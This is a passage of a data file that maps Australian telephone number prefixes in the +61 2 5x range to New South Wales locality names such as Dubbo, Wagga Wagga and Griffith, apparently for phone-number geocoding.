'612583946':{'en': 'Warren'},
'612583947':{'en': 'Warrington'},
'612583948':{'en': 'Warrumbungle'},
'612583949':{'en': 'Weelong'},
'612583950':{'en': 'Weetaliba'},
'612583951':{'en': 'Wellington'},
'612583952':{'en': 'Widgeland'},
'612583953':{'en': 'Wirrinya'},
'612583954':{'en': 'Wyanga'},
'612583955':{'en': 'Yarrabandai'},
'612583956':{'en': 'Yarragrin'},
'612583957':{'en': 'Yeoval'},
'61258399':{'en': 'Boona Mountain'},
'61258410':{'en': 'Buckinguy'},
'61258429':{'en': 'Farrendale'},
'61258440':{'en': 'Ginghet'},
'61258459':{'en': 'Rocky Glen'},
'61258470':{'en': 'Warrington'},
'61258520':{'en': 'Lightning Ridge'},
'61258521':{'en': 'Dubbo'},
'61258522':{'en': 'Lightning Ridge'},
'61258523':{'en': 'Coonamble'},
'61258524':{'en': 'Dubbo'},
'61258525':{'en': 'Dubbo'},
'61258526':{'en': 'Dubbo'},
'61258527':{'en': 'Forbes'},
'61258528':{'en': 'Forbes'},
'61258529':{'en': 'Forbes'},
'61258530':{'en': 'Dubbo'},
'61258535':{'en': 'Mount Herring'},
'61258536':{'en': 'Barrinford'},
'61258576':{'en': 'Dubbo'},
'61258577':{'en': 'Dubbo'},
'61258578':{'en': 'Dubbo'},
'61258579':{'en': 'Walgett'},
'6125858':{'en': 'Dubbo'},
'61258586':{'en': 'Parkes'},
'61258587':{'en': 'Parkes'},
'61258588':{'en': 'Parkes'},
'61258589':{'en': 'Condobolin'},
'61258810':{'en': 'Warren'},
'61258811':{'en': 'Warren'},
'61258812':{'en': 'Warren'},
'61258813':{'en': 'Balladoran'},
'61258814':{'en': 'Baradine'},
'61258815':{'en': 'Gwabegar'},
'61258816':{'en': 'Coonabarabran'},
'61258817':{'en': 'Coonabarabran'},
'61258818':{'en': 'Coonabarabran'},
'61258819':{'en': 'Trangie'},
'61259000':{'en': 'Talbingo'},
'61259001':{'en': 'Tooma'},
'61259002':{'en': 'Tumbarumba'},
'61259003':{'en': 'Tumorrama'},
'61259004':{'en': 'Tumut'},
'61259005':{'en': 'Wallendbeen'},
'61259006':{'en': 'Yaven Creek'},
'61259007':{'en': 'Barellan'},
'61259008':{'en': 'Black Stump'},
'61259009':{'en': 'Bunda'},
'61259010':{'en': 'Darlington Point'},
'61259011':{'en': 'Goolgowi'},
'61259012':{'en': 'Griffith'},
'61259013':{'en': 'Gunbar'},
'61259014':{'en': 'Hillston'},
'61259015':{'en': 'Melbergen'},
'61259016':{'en': 'Merriwagga'},
'61259017':{'en': 'Rankins Springs'},
'61259018':{'en': 'Wallanthery'},
'61259019':{'en': 'Warrawidgee'},
'61259020':{'en': 'Wee Elwah'},
'61259021':{'en': 'Yenda'},
'61259022':{'en': 'Bambilla'},
'61259023':{'en': 'Booroorban'},
'61259024':{'en': 'Carrathool'},
'61259025':{'en': 'Hay'},
'61259026':{'en': 'Ivanhoe'},
'61259027':{'en': 'Lachlan'},
'61259028':{'en': 'Maude'},
'61259029':{'en': 'Bundure'},
'61259030':{'en': 'Coleambally'},
'61259031':{'en': 'Egansford'},
'61259032':{'en': 'Gala Vale'},
'61259033':{'en': 'Grong Grong'},
'61259034':{'en': 'Landervale'},
'61259035':{'en': 'Leeton'},
'61259036':{'en': 'Morundah'},
'61259037':{'en': 'Narrandera'},
'61259038':{'en': 'Sandigo'},
'61259039':{'en': 'Stanbridge'},
'61259040':{'en': 'Ardlethan'},
'61259041':{'en': 'Ariah Park'},
'61259042':{'en': 'Barmedman'},
'61259043':{'en': 'Barmedman East'},
'61259044':{'en': 'Narraburra'},
'61259045':{'en': 'Springdale'},
'61259046':{'en': 'Temora'},
'61259047':{'en': 'Bidgeemia'},
'61259048':{'en': 'Boree Creek'},
'61259049':{'en': 'Coolamon'},
'61259050':{'en': 'Cowabbie'},
'61259051':{'en': 'Currawarna'},
'61259052':{'en': 'Galore'},
'61259053':{'en': 'Ganmain'},
'61259054':{'en': 'Henty'},
'61259055':{'en': 'Humula'},
'61259056':{'en': 'Junee'},
'61259057':{'en': 'Junee Reefs'},
'61259058':{'en': 'Kyeamba'},
'61259059':{'en': 'Lockhart'},
'61259060':{'en': 'Mangoplah'},
'61259061':{'en': 'Milbrulong'},
'61259062':{'en': 'Rannock'},
'61259063':{'en': 'Tarcutta'},
'61259064':{'en': 'The Rock'},
'61259065':{'en': 'Urana'},
'61259066':{'en': 'Wantabadgery'},
'61259067':{'en': 'Winchendon Vale'},
'61259068':{'en': 'Alleena'},
'61259069':{'en': 'Burcher'},
'61259070':{'en': 'Kikoira'},
'61259071':{'en': 'Marsden'},
'61259072':{'en': 'Tallimba'},
'61259073':{'en': 'Tullibigeal'},
'61259074':{'en': 'Ungarie'},
'61259075':{'en': 'Warralonga'},
'61259076':{'en': 'Weethalle'},
'61259077':{'en': 'West Wyalong'},
'61259078':{'en': 'Coolamon'},
'61259079':{'en': 'Coolamon'},
'6125908':{'en': 'Wagga Wagga'},
'61259085':{'en': 'Barmedman'},
'61259086':{'en': 'Barmedman'},
'61259089':{'en': 'Henty'},
'61259090':{'en': 'Gundagai'},
'61259091':{'en': 'Griffith'},
'61259092':{'en': 'Narrandera'},
'61259093':{'en': 'Leeton'},
'61259094':{'en': 'West Wyalong'},
'61259095':{'en': 'West Wyalong'},
'61259096':{'en': 'Sandigo'},
'61259097':{'en': 'Sandigo'},
'61259098':{'en': 'Burra'},
'61259099':{'en': 'Burra'},
'61259100':{'en': 'Coolac'},
'61259101':{'en': 'Coolac'},
'61259102':{'en': 'Cootamundra'},
'61259103':{'en': 'Cootamundra'},
'61259104':{'en': 'Gundagai'},
'61259105':{'en': 'Gundagai'},
'61259106':{'en': 'Mannus'},
'61259107':{'en': 'Mannus'},
'61259108':{'en': 'Nangus'},
'61259109':{'en': 'Nangus'},
'61259110':{'en': 'Tumut'},
'61259111':{'en': 'Tumut'},
'61259112':{'en': 'Yaven Creek'},
'61259113':{'en': 'Yaven Creek'},
'61259114':{'en': 'Rankins Springs'},
'61259115':{'en': 'Rankins Springs'},
'61259116':{'en': 'Narrandera'},
'61259117':{'en': 'Narrandera'},
'61259118':{'en': 'Cowabbie'},
'61259119':{'en': 'Cowabbie'},
'61259120':{'en': 'Currawarna'},
'61259121':{'en': 'Currawarna'},
'61259122':{'en': 'Galore'},
'61259123':{'en': 'Galore'},
'61259124':{'en': 'Humula'},
'61259125':{'en': 'Humula'},
'61259126':{'en': 'Junee'},
'61259127':{'en': 'Junee'},
'61259128':{'en': 'Kyeamba'},
'61259129':{'en': 'Kyeamba'},
'61259130':{'en': 'Lockhart'},
'61259131':{'en': 'Lockhart'},
'61259132':{'en': 'Mangoplah'},
'61259133':{'en': 'Mangoplah'},
'61259134':{'en': 'Milbrulong'},
'61259135':{'en': 'Milbrulong'},
'61259136':{'en': 'Tarcutta'},
'61259137':{'en': 'Tarcutta'},
'61259138':{'en': 'The Rock'},
'61259139':{'en': 'The Rock'},
'61259140':{'en': 'Wagga Wagga'},
'61259141':{'en': 'Wagga Wagga'},
'61259142':{'en': 'Wantabadgery'},
'61259143':{'en': 'Wantabadgery'},
'61259144':{'en': 'Alleena'},
'61259145':{'en': 'Alleena'},
'61259146':{'en': 'Burcher'},
'61259147':{'en': 'Burcher'},
'61259148':{'en': 'Marsden'},
'61259149':{'en': 'Marsden'},
'61259150':{'en': 'Tallimba'},
'61259151':{'en': 'Tallimba'},
'61259152':{'en': 'Ungarie'},
'61259153':{'en': 'Ungarie'},
'61259154':{'en': 'Warralonga'},
'61259155':{'en': 'Warralonga'},
'61259156':{'en': 'Morundah'},
'61259157':{'en': 'Morundah'},
'61259158':{'en': 'Leeton'},
'61259159':{'en': 'Leeton'},
'61259160':{'en': 'Egansford'},
'61259161':{'en': 'Egansford'},
'61259162':{'en': 'Burra'},
'61259163':{'en': 'Burra'},
'61259164':{'en': 'Adelong'},
'61259165':{'en': 'Adelong'},
'61259166':{'en': 'Batlow'},
'61259167':{'en': 'Batlow'},
'61259168':{'en': 'Bethungra'},
'61259169':{'en': 'Bethungra'},
'61259170':{'en': 'Carabost'},
'61259171':{'en': 'Carabost'},
'61259172':{'en': 'Stockinbingal'},
'61259173':{'en': 'Stockinbingal'},
'61259174':{'en': 'Talbingo'},
'61259175':{'en': 'Talbingo'},
'61259176':{'en': 'Tooma'},
'61259177':{'en': 'Tooma'},
'61259178':{'en': 'Tumbarumba'},
'61259179':{'en': 'Tumbarumba'},
'61259180':{'en': 'Tumorrama'},
'61259181':{'en': 'Tumorrama'},
'61259182':{'en': 'Wallendbeen'},
'61259183':{'en': 'Wallendbeen'},
'61259184':{'en': 'Wee Elwah'},
'61259185':{'en': 'Wee Elwah'},
'61259186':{'en': 'Yenda'},
'61259187':{'en': 'Yenda'},
'61259188':{'en': 'Barellan'},
'61259189':{'en': 'Barellan'},
'61259190':{'en': 'Black Stump'},
'61259191':{'en': 'Black Stump'},
'61259192':{'en': 'Hillston'},
'61259193':{'en': 'Hillston'},
'61259194':{'en': 'Wallanthery'},
'61259195':{'en': 'Wallanthery'},
'61259196':{'en': 'Carrathool'},
'61259197':{'en': 'Carrathool'},
'61259198':{'en': 'Bundure'},
'61259199':{'en': 'Bundure'},
'61259200':{'en': 'Coleambally'},
'61259201':{'en': 'Coleambally'},
'61259202':{'en': 'Gala Vale'},
'61259203':{'en': 'Gala Vale'},
'61259204':{'en': 'Grong Grong'},
'61259205':{'en': 'Grong Grong'},
'61259206':{'en': 'Stanbridge'},
'61259207':{'en': 'Stanbridge'},
'61259208':{'en': 'Ardlethan'},
'61259209':{'en': 'Ardlethan'},
'61259210':{'en': 'Barmedman East'},
'61259211':{'en': 'Barmedman East'},
'61259212':{'en': 'Narraburra'},
'61259213':{'en': 'Narraburra'},
'61259214':{'en': 'Springdale'},
'61259215':{'en': 'Springdale'},
'61259216':{'en': 'Bidgeemia'},
'61259217':{'en': 'Bidgeemia'},
'61259218':{'en': 'Boree Creek'},
'61259219':{'en': 'Boree Creek'},
'61259220':{'en': 'Ganmain'},
'61259221':{'en': 'Ganmain'},
'61259222':{'en': 'Henty'},
'61259223':{'en': 'Henty'},
'61259224':{'en': 'Junee Reefs'},
'61259225':{'en': 'Junee Reefs'},
'61259226':{'en': 'Rannock'},
'61259227':{'en': 'Rannock'},
'61259228':{'en': 'Urana'},
'61259229':{'en': 'Urana'},
'61259230':{'en': 'Winchendon Vale'},
'61259231':{'en': 'Winchendon Vale'},
'61259232':{'en': 'Kikoira'},
'61259233':{'en': 'Kikoira'},
'61259234':{'en': 'Tullibigeal'},
'61259235':{'en': 'Tullibigeal'},
'61259236':{'en': 'Weethalle'},
'61259237':{'en': 'Weethalle'},
'61259238':{'en': 'Bambilla'},
'61259239':{'en': 'Bambilla'},
'61259240':{'en': 'Gundagai'},
'61259241':{'en': 'Griffith'},
'61259242':{'en': 'Griffith'},
'61259243':{'en': 'Wagga Wagga'},
'61259244':{'en': 'Wagga Wagga'},
'61259245':{'en': 'Wagga Wagga'},
'61259246':{'en': 'Tumut'},
'61259247':{'en': 'Narrandera'},
'61259248':{'en': 'Leeton'},
'61259249':{'en': 'Griffith'},
'61259250':{'en': 'Griffith'},
'61259251':{'en': 'Cootamundra'},
'61259252':{'en': 'Cootamundra'},
'61259253':{'en': 'Hay'},
'61259254':{'en': 'Griffith'},
'61259255':{'en': 'Wagga Wagga'},
'61259256':{'en': 'Junee'},
'61259257':{'en': 'Wagga Wagga'},
'61259258':{'en': 'West Wyalong'},
'61259259':{'en': 'Adelong'},
'61259260':{'en': 'Cootamundra'},
'61259261':{'en': 'Mangoplah'},
'61259262':{'en': 'Wagga Wagga'},
'61259263':{'en': 'Tumut'},
'61259264':{'en': 'Leeton'},
'61259265':{'en': 'Temora'},
'61259266':{'en': 'The Rock'},
'612592670':{'en': 'Adelong'},
'612592671':{'en': 'Alleena'},
'612592672':{'en': 'Ardlethan'},
'612592673':{'en': 'Ariah Park'},
'612592674':{'en': 'Bambilla'},
'612592675':{'en': 'Barellan'},
'612592676':{'en': 'Barmedman'},
'612592677':{'en': 'Barmedman East'},
'612592678':{'en': 'Batlow'},
'612592679':{'en': 'Bethungra'},
'612592680':{'en': 'Bidgeemia'},
'612592681':{'en': 'Black Stump'},
'612592682':{'en': 'Booroorban'},
'612592683':{'en': 'Boree Creek'},
'612592684':{'en': 'Bunda'},
'612592685':{'en': 'Bundure'},
'612592686':{'en': 'Burcher'},
'612592687':{'en': 'Burra'},
'612592688':{'en': 'Carabost'},
'612592689':{'en': 'Carrathool'},
'612592690':{'en': 'Coleambally'},
'612592691':{'en': 'Coolac'},
'612592692':{'en': 'Coolamon'},
'612592693':{'en': 'Cootamundra'},
'612592694':{'en': 'Cowabbie'},
'612592695':{'en': 'Currawarna'},
'612592696':{'en': 'Darlington Point'},
'612592697':{'en': 'Egansford'},
'612592698':{'en': 'Gala Vale'},
'612592699':{'en': 'Galore'},
'612592700':{'en': 'Ganmain'},
'612592701':{'en': 'Goolgowi'},
'612592702':{'en': 'Griffith'},
'612592703':{'en': 'Grong Grong'},
'612592704':{'en': 'Gunbar'},
'612592705':{'en': 'Gundagai'},
'612592706':{'en': 'Hay'},
'612592707':{'en': 'Henty'},
'612592708':{'en': 'Hillston'},
'612592709':{'en': 'Humula'},
'612592710':{'en': 'Ivanhoe'},
'612592711':{'en': 'Junee'},
'612592712':{'en': 'Junee Reefs'},
'612592713':{'en': 'Kikoira'},
'612592714':{'en': 'Kyeamba'},
'612592715':{'en': 'Lachlan'},
'612592716':{'en': 'Landervale'},
'612592717':{'en': 'Leeton'},
'612592718':{'en': 'Lockhart'},
'612592719':{'en': 'Mangoplah'},
'612592720':{'en': 'Mannus'},
'612592721':{'en': 'Marsden'},
'612592722':{'en': 'Maude'},
'612592723':{'en': 'Melbergen'},
'612592724':{'en': 'Merriwagga'},
'612592725':{'en': 'Milbrulong'},
'612592726':{'en': 'Morundah'},
'612592727':{'en': 'Nangus'},
'612592728':{'en': 'Narraburra'},
'612592729':{'en': 'Narrandera'},
'612592730':{'en': 'Rankins Springs'},
'612592731':{'en': 'Rannock'},
'612592732':{'en': 'Sandigo'},
'612592733':{'en': 'Springdale'},
'612592734':{'en': 'Stanbridge'},
'612592735':{'en': 'Stockinbingal'},
'612592736':{'en': 'Talbingo'},
'612592737':{'en': 'Tallimba'},
'612592738':{'en': 'Tarcutta'},
'612592739':{'en': 'Temora'},
'612592740':{'en': 'The Rock'},
'612592741':{'en': 'Tooma'},
'612592742':{'en': 'Tullibigeal'},
'612592743':{'en': 'Tumbarumba'},
'612592744':{'en': 'Tumorrama'},
'612592745':{'en': 'Tumut'},
'612592746':{'en': 'Ungarie'},
'612592747':{'en': 'Urana'},
'612592748':{'en': 'Wagga Wagga'},
'612592749':{'en': 'Wallanthery'},
'612592750':{'en': 'Wallendbeen'},
'612592751':{'en': 'Wantabadgery'},
'612592752':{'en': 'Warralonga'},
'612592753':{'en': 'Warrawidgee'},
'612592754':{'en': 'Wee Elwah'},
'612592755':{'en': 'Weethalle'},
'612592756':{'en': 'West Wyalong'},
'612592757':{'en': 'Winchendon Vale'},
'612592758':{'en': 'Yaven Creek'},
'612592759':{'en': 'Yenda'},
'61259276':{'en': 'Yenda'},
'61259277':{'en': 'Bambilla'},
'61259278':{'en': 'Barellan'},
'61259279':{'en': 'Barmedman'},
'61259280':{'en': 'Barmedman East'},
'61259281':{'en': 'Bidgeemia'},
'61259282':{'en': 'Black Stump'},
'61259283':{'en': 'Boree Creek'},
'61259284':{'en': 'Bunda'},
'61259285':{'en': 'Bundure'},
'61259286':{'en': 'Burcher'},
'61259287':{'en': 'Burra'},
'61259288':{'en': 'Carrathool'},
'61259289':{'en': 'Coolac'},
'61259290':{'en': 'Coolamon'},
'61259291':{'en': 'Cowabbie'},
'61259292':{'en': 'Currawarna'},
'61259293':{'en': 'Darlington Point'},
'61259294':{'en': 'Egansford'},
'61259295':{'en': 'Gala Vale'},
'61259296':{'en': 'Ganmain'},
'61259297':{'en': 'Goolgowi'},
'61259298':{'en': 'Grong Grong'},
'61259299':{'en': 'Gunbar'},
'61259300':{'en': 'Hay'},
'61259301':{'en': 'Humula'},
'61259302':{'en': 'Junee'},
'61259303':{'en': 'Junee Reefs'},
'61259304':{'en': 'Kikoira'},
'61259305':{'en': 'Kyeamba'},
'61259306':{'en': 'Landervale'},
'61259307':{'en': 'Lockhart'},
'61259308':{'en': 'Mangoplah'},
'61259309':{'en': 'Mannus'},
'61259310':{'en': 'Marsden'},
'61259311':{'en': 'Maude'},
'61259312':{'en': 'Melbergen'},
'61259313':{'en': 'Merriwagga'},
'61259314':{'en': 'Milbrulong'},
'61259315':{'en': 'Morundah'},
'61259316':{'en': 'Nangus'},
'61259317':{'en': 'Narraburra'},
'61259318':{'en': 'Rankins Springs'},
'61259319':{'en': 'Rannock'},
'61259320':{'en': 'Tarcutta'},
'61259321':{'en': 'Wantabadgery'},
'61259322':{'en': 'Wantabadgery'},
'61259323':{'en': 'Boree Creek'},
'61259324':{'en': 'Milbrulong'},
'61259325':{'en': 'Humula'},
'61259326':{'en': 'Rannock'},
'61259327':{'en': 'Cowabbie'},
'61259328':{'en': 'Junee Reefs'},
'61259329':{'en': 'Galore'},
'6125933':{'en': 'Wagga Wagga'},
'61259340':{'en': 'Ariah Park'},
'61259341':{'en': 'Sandigo'},
'61259342':{'en': 'Springdale'},
'61259343':{'en': 'Stanbridge'},
'61259344':{'en': 'Stockinbingal'},
'61259345':{'en': 'Talbingo'},
'61259346':{'en': 'Tallimba'},
'61259347':{'en': 'Tarcutta'},
'61259348':{'en': 'The Rock'},
'61259349':{'en': 'Tumbarumba'},
'61259350':{'en': 'Tumorrama'},
'61259351':{'en': 'Tumut'},
'61259352':{'en': 'Ungarie'},
'61259353':{'en': 'Wallanthery'},
'61259354':{'en': 'Wallendbeen'},
'61259355':{'en': 'Wantabadgery'},
'61259356':{'en': 'Warralonga'},
'61259357':{'en': 'Warrawidgee'},
'61259358':{'en': 'Wee Elwah'},
'61259359':{'en': 'West Wyalong'},
'61259360':{'en': 'Winchendon Vale'},
'61259361':{'en': 'Yaven Creek'},
'61259362':{'en': 'Yenda'},
'61259363':{'en': 'Adelong'},
'61259364':{'en': 'Narrandera'},
'61259365':{'en': 'Coleambally'},
'612593660':{'en': 'Adelong'},
'612593661':{'en': 'Alleena'},
'612593662':{'en': 'Ardlethan'},
'612593663':{'en': 'Ariah Park'},
'612593664':{'en': 'Bambilla'},
'612593665':{'en': 'Barellan'},
'612593666':{'en': 'Barmedman'},
'612593667':{'en': 'Barmedman East'},
'612593668':{'en': 'Batlow'},
'612593669':{'en': 'Bethungra'},
'612593670':{'en': 'Bidgeemia'},
'612593671':{'en': 'Black Stump'},
'612593672':{'en': 'Booroorban'},
'612593673':{'en': 'Boree Creek'},
'612593674':{'en': 'Bunda'},
'612593675':{'en': 'Bundure'},
'612593676':{'en': 'Burcher'},
'612593677':{'en': 'Burra'},
'612593678':{'en': 'Carabost'},
'612593679':{'en': 'Carrathool'},
'612593680':{'en': 'Coleambally'},
'612593681':{'en': 'Coolac'},
'612593682':{'en': 'Coolamon'},
'612593683':{'en': 'Cootamundra'},
'612593684':{'en': 'Cowabbie'},
'612593685':{'en': 'Currawarna'},
'612593686':{'en': 'Darlington Point'},
'612593687':{'en': 'Egansford'},
'612593688':{'en': 'Gala Vale'},
'612593689':{'en': 'Galore'},
'612593690':{'en': 'Ganmain'},
'612593691':{'en': 'Goolgowi'},
'612593692':{'en': 'Griffith'},
'612593693':{'en': 'Grong Grong'},
'612593694':{'en': 'Gunbar'},
'612593695':{'en': 'Gundagai'},
'612593696':{'en': 'Hay'},
'612593697':{'en': 'Henty'},
'612593698':{'en': 'Hillston'},
'612593699':{'en': 'Humula'},
'612593700':{'en': 'Ivanhoe'},
'612593701':{'en': 'Junee'},
'612593702':{'en': 'Junee Reefs'},
'612593703':{'en': 'Kikoira'},
'612593704':{'en': 'Kyeamba'},
'612593705':{'en': 'Lachlan'},
'612593706':{'en': 'Landervale'},
'612593707':{'en': 'Leeton'},
'612593708':{'en': 'Lockhart'},
'612593709':{'en': 'Mangoplah'},
'612593710':{'en': 'Mannus'},
'612593711':{'en': 'Marsden'},
'612593712':{'en': 'Maude'},
'612593713':{'en': 'Melbergen'},
'612593714':{'en': 'Merriwagga'},
'612593715':{'en': 'Milbrulong'},
'612593716':{'en': 'Morundah'},
'612593717':{'en': 'Nangus'},
'612593718':{'en': 'Narraburra'},
'612593719':{'en': 'Narrandera'},
'612593720':{'en': 'Rankins Springs'},
'612593721':{'en': 'Rannock'},
'612593722':{'en': 'Sandigo'},
'612593723':{'en': 'Springdale'},
'612593724':{'en': 'Stanbridge'},
'612593725':{'en': 'Stockinbingal'},
'612593726':{'en': 'Talbingo'},
'612593727':{'en': 'Tallimba'},
'612593728':{'en': 'Tarcutta'},
'612593729':{'en': 'Temora'},
'612593730':{'en': 'The Rock'},
'612593731':{'en': 'Tooma'},
'612593732':{'en': 'Tullibigeal'},
'612593733':{'en': 'Tumbarumba'},
'612593734':{'en': 'Tumorrama'},
'612593735':{'en': 'Tumut'},
'612593736':{'en': 'Ungarie'},
'612593737':{'en': 'Urana'},
'612593738':{'en': 'Wagga Wagga'},
'612593739':{'en': 'Wallanthery'},
'612593740':{'en': 'Wallendbeen'},
'612593741':{'en': 'Wantabadgery'},
'612593742':{'en': 'Warralonga'},
'612593743':{'en': 'Warrawidgee'},
'612593744':{'en': 'Wee Elwah'},
'612593745':{'en': 'Weethalle'},
'612593746':{'en': 'West Wyalong'},
'612593747':{'en': 'Winchendon Vale'},
'612593748':{'en': 'Yaven Creek'},
'612593749':{'en': 'Yenda'},
'612593750':{'en': 'Adelong'},
'612593751':{'en': 'Alleena'},
'612593752':{'en': 'Ardlethan'},
'612593753':{'en': 'Ariah Park'},
'612593754':{'en': 'Bambilla'},
'612593755':{'en': 'Barellan'},
'612593756':{'en': 'Barmedman'},
'612593757':{'en': 'Barmedman East'},
'612593758':{'en': 'Batlow'},
'612593759':{'en': 'Bethungra'},
'612593760':{'en': 'Bidgeemia'},
'612593761':{'en': 'Black Stump'},
'612593762':{'en': 'Booroorban'},
'612593763':{'en': 'Boree Creek'},
'612593764':{'en': 'Bunda'},
'612593765':{'en': 'Bundure'},
'612593766':{'en': 'Burcher'},
'612593767':{'en': 'Burra'},
'612593768':{'en': 'Carabost'},
'612593769':{'en': 'Carrathool'},
'612593770':{'en': 'Coleambally'},
'612593771':{'en': 'Coolac'},
'612593772':{'en': 'Coolamon'},
'612593773':{'en': 'Cootamundra'},
'612593774':{'en': 'Cowabbie'},
'612593775':{'en': 'Currawarna'},
'612593776':{'en': 'Darlington Point'},
'612593777':{'en': 'Egansford'},
'612593778':{'en': 'Gala Vale'},
'612593779':{'en': 'Galore'},
'612593780':{'en': 'Ganmain'},
'612593781':{'en': 'Goolgowi'},
'612593782':{'en': 'Griffith'},
'612593783':{'en': 'Grong Grong'},
'612593784':{'en': 'Gunbar'},
'612593785':{'en': 'Gundagai'},
'612593786':{'en': 'Hay'},
'612593787':{'en': 'Henty'},
'612593788':{'en': 'Hillston'},
'612593789':{'en': 'Humula'},
'612593790':{'en': 'Ivanhoe'},
'612593791':{'en': 'Junee'},
'612593792':{'en': 'Junee Reefs'},
'612593793':{'en': 'Kikoira'},
'612593794':{'en': 'Kyeamba'},
'612593795':{'en': 'Lachlan'},
'612593796':{'en': 'Landervale'},
'612593797':{'en': 'Leeton'},
'612593798':{'en': 'Lockhart'},
'612593799':{'en': 'Mangoplah'},
'612593800':{'en': 'Mannus'},
'612593801':{'en': 'Marsden'},
'612593802':{'en': 'Maude'},
'612593803':{'en': 'Melbergen'},
'612593804':{'en': 'Merriwagga'},
'612593805':{'en': 'Milbrulong'},
'612593806':{'en': 'Morundah'},
'612593807':{'en': 'Nangus'},
'612593808':{'en': 'Narraburra'},
'612593809':{'en': 'Narrandera'},
'612593810':{'en': 'Rankins Springs'},
'612593811':{'en': 'Rannock'},
'612593812':{'en': 'Sandigo'},
'612593813':{'en': 'Springdale'},
'612593814':{'en': 'Stanbridge'},
'612593815':{'en': 'Stockinbingal'},
'612593816':{'en': 'Talbingo'},
'612593817':{'en': 'Tallimba'},
'612593818':{'en': 'Tarcutta'},
'612593819':{'en': 'Temora'},
'612593820':{'en': 'The Rock'},
'612593821':{'en': 'Tooma'},
'612593822':{'en': 'Tullibigeal'},
'612593823':{'en': 'Tumbarumba'},
'612593824':{'en': 'Tumorrama'},
'612593825':{'en': 'Tumut'},
'612593826':{'en': 'Ungarie'},
'612593827':{'en': 'Urana'},
'612593828':{'en': 'Wagga Wagga'},
'612593829':{'en': 'Wallanthery'},
'612593830':{'en': 'Wallendbeen'},
'612593831':{'en': 'Wantabadgery'},
'612593832':{'en': 'Warralonga'},
'612593833':{'en': 'Warrawidgee'},
'612593834':{'en': 'Wee Elwah'},
'612593835':{'en': 'Weethalle'},
'612593836':{'en': 'West Wyalong'},
'612593837':{'en': 'Winchendon Vale'},
'612593838':{'en': 'Yaven Creek'},
'612593839':{'en': 'Yenda'},
'61259384':{'en': 'Coolac'},
'61259385':{'en': 'Narrandera'},
'61259386':{'en': 'Wallendbeen'},
'612593870':{'en': 'Adelong'},
'612593871':{'en': 'Alleena'},
'612593872':{'en': 'Ardlethan'},
'612593873':{'en': 'Ariah Park'},
'612593874':{'en': 'Bambilla'},
'612593875':{'en': 'Barellan'},
'612593876':{'en': 'Barmedman'},
'612593877':{'en': 'Barmedman East'},
'612593878':{'en': 'Batlow'},
'612593879':{'en': 'Bethungra'},
'612593880':{'en': 'Bidgeemia'},
'612593881':{'en': 'Black Stump'},
'612593882':{'en': 'Booroorban'},
'612593883':{'en': 'Boree Creek'},
'612593884':{'en': 'Bunda'},
'612593885':{'en': 'Bundure'},
'612593886':{'en': 'Burcher'},
'612593887':{'en': 'Burra'},
'612593888':{'en': 'Carabost'},
'612593889':{'en': 'Carrathool'},
'612593890':{'en': 'Coleambally'},
'612593891':{'en': 'Coolac'},
'612593892':{'en': 'Coolamon'},
'612593893':{'en': 'Cootamundra'},
'612593894':{'en': 'Cowabbie'},
'612593895':{'en': 'Currawarna'},
'612593896':{'en': 'Darlington Point'},
'612593897':{'en': 'Egansford'},
'612593898':{'en': 'Gala Vale'},
'612593899':{'en': 'Galore'},
'612593900':{'en': 'Ganmain'},
'612593901':{'en': 'Goolgowi'},
'612593902':{'en': 'Griffith'},
'612593903':{'en': 'Grong Grong'},
'612593904':{'en': 'Gunbar'},
'612593905':{'en': 'Gundagai'},
'612593906':{'en': 'Hay'},
'612593907':{'en': 'Henty'},
'612593908':{'en': 'Hillston'},
'612593909':{'en': 'Humula'},
'612593910':{'en': 'Ivanhoe'},
'612593911':{'en': 'Junee'},
'612593912':{'en': 'Junee Reefs'},
'612593913':{'en': 'Kikoira'},
'612593914':{'en': 'Kyeamba'},
'612593915':{'en': 'Lachlan'},
'612593916':{'en': 'Landervale'},
'612593917':{'en': 'Leeton'},
'612593918':{'en': 'Lockhart'},
'612593919':{'en': 'Mangoplah'},
'612593920':{'en': 'Mannus'},
'612593921':{'en': 'Marsden'},
'612593922':{'en': 'Maude'},
'612593923':{'en': 'Melbergen'},
'612593924':{'en': 'Merriwagga'},
'612593925':{'en': 'Milbrulong'},
'612593926':{'en': 'Morundah'},
'612593927':{'en': 'Nangus'},
'612593928':{'en': 'Narraburra'},
'612593929':{'en': 'Narrandera'},
'612593930':{'en': 'Rankins Springs'},
'612593931':{'en': 'Rannock'},
'612593932':{'en': 'Sandigo'},
'612593933':{'en': 'Springdale'},
'612593934':{'en': 'Stanbridge'},
'612593935':{'en': 'Stockinbingal'},
'612593936':{'en': 'Talbingo'},
'612593937':{'en': 'Tallimba'},
'612593938':{'en': 'Tarcutta'},
'612593939':{'en': 'Temora'},
'612593940':{'en': 'Adelong'},
'612593941':{'en': 'Alleena'},
'612593942':{'en': 'Ardlethan'},
'612593943':{'en': 'Ariah Park'},
'612593944':{'en': 'Bambilla'},
'612593945':{'en': 'Barellan'},
'612593946':{'en': 'Barmedman'},
'612593947':{'en': 'Barmedman East'},
'612593948':{'en': 'Batlow'},
'612593949':{'en': 'Bethungra'},
'612593950':{'en': 'Bidgeemia'},
'612593951':{'en': 'Black Stump'},
'612593952':{'en': 'Booroorban'},
'612593953':{'en': 'Boree Creek'},
'612593954':{'en': 'Bunda'},
'612593955':{'en': 'Bundure'},
'612593956':{'en': 'Burcher'},
'612593957':{'en': 'Burra'},
'612593958':{'en': 'Carabost'},
'612593959':{'en': 'Carrathool'},
'612593960':{'en': 'Coleambally'},
'612593961':{'en': 'Coolac'},
'612593962':{'en': 'Coolamon'},
'612593963':{'en': 'Cootamundra'},
'612593964':{'en': 'Cowabbie'},
'612593965':{'en': 'Currawarna'},
'612593966':{'en': 'Darlington Point'},
'612593967':{'en': 'Egansford'},
'612593968':{'en': 'Gala Vale'},
'612593969':{'en': 'Galore'},
'612593970':{'en': 'Ganmain'},
'612593971':{'en': 'Goolgowi'},
'612593972':{'en': 'Griffith'},
'612593973':{'en': 'Grong Grong'},
'612593974':{'en': 'Gunbar'},
'612593975':{'en': 'Gundagai'},
'612593976':{'en': 'Hay'},
'612593977':{'en': 'Henty'},
'612593978':{'en': 'Hillston'},
'612593979':{'en': 'Humula'},
'612593980':{'en': 'Ivanhoe'},
'612593981':{'en': 'Junee'},
'612593982':{'en': 'Junee Reefs'},
'612593983':{'en': 'Kikoira'},
'612593984':{'en': 'Kyeamba'},
'612593985':{'en': 'Lachlan'},
'612593986':{'en': 'Landervale'},
'612593987':{'en': 'Leeton'},
'612593988':{'en': 'Lockhart'},
'612593989':{'en': 'Mangoplah'},
'612593990':{'en': 'Mannus'},
